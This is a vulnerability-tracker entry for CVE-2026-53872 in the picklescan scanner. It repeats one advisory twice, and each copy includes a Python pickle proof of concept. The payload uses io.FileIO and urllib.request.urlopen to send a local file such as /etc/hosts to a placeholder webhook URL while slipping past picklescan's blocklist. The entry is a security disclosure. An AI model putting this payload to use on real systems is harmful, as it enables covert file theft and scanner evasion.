CVE-2026-53872
highpriority · track · 0EPSS 0.005 · 43 %ileEUUSEPSS · scored 2026-10-28
picklescan before 0.0.35 contains an unsafe pickle deserialization vulnerability allowing unauthenticated attackers to read arbitrary server files by chaining io.FileIO and urllib.request.urlopen. Attackers can bypass RCE-focused blocklists to exfiltrate sensitive data like /etc/passwd to external servers.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.6–8.7
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (2)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-9726-w42j-3qjrpicklescan has Arbitrary file read using `io.FileIO` 2026-01-08ghsa · osvUS
### Summary Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server. ### Details The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features: 1. io.FileIO: Opens local files without using builtins.open. 2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request. 3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling. ### PoC ```python import pickle, io, urllib.request class GetFile: def __reduce__(self): return (io.FileIO, ('/etc/hosts', 'r')) class Exfiltrate: def __reduce__(self): return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile())) with open("bypass_http.pkl", "wb") as f: pickle.dump(Exfiltrate(), f) ``` <img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" /> ### Impact - Arbitrary file read Thanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.
- PYSEC-2026-1787picklescan has Arbitrary file read using `io.FileIO` 2026-07-07vendor · osvUS
### Summary Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server. ### Details The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features: 1. io.FileIO: Opens local files without using builtins.open. 2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request. 3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling. ### PoC ```python import pickle, io, urllib.request class GetFile: def __reduce__(self): return (io.FileIO, ('/etc/hosts', 'r')) class Exfiltrate: def __reduce__(self): return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile())) with open("bypass_http.pkl", "wb") as f: pickle.dump(Exfiltrate(), f) ``` <img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" /> ### Impact - Arbitrary file read Thanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.
also known as (6)
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sources
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references (6)
External citations — patches, advisories, analysis.
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjrcnnvd
- https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserializationcnnvd
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjrenisa_euvd
- https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserializationenisa_euvd
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjrnvd
- https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserializationnvd
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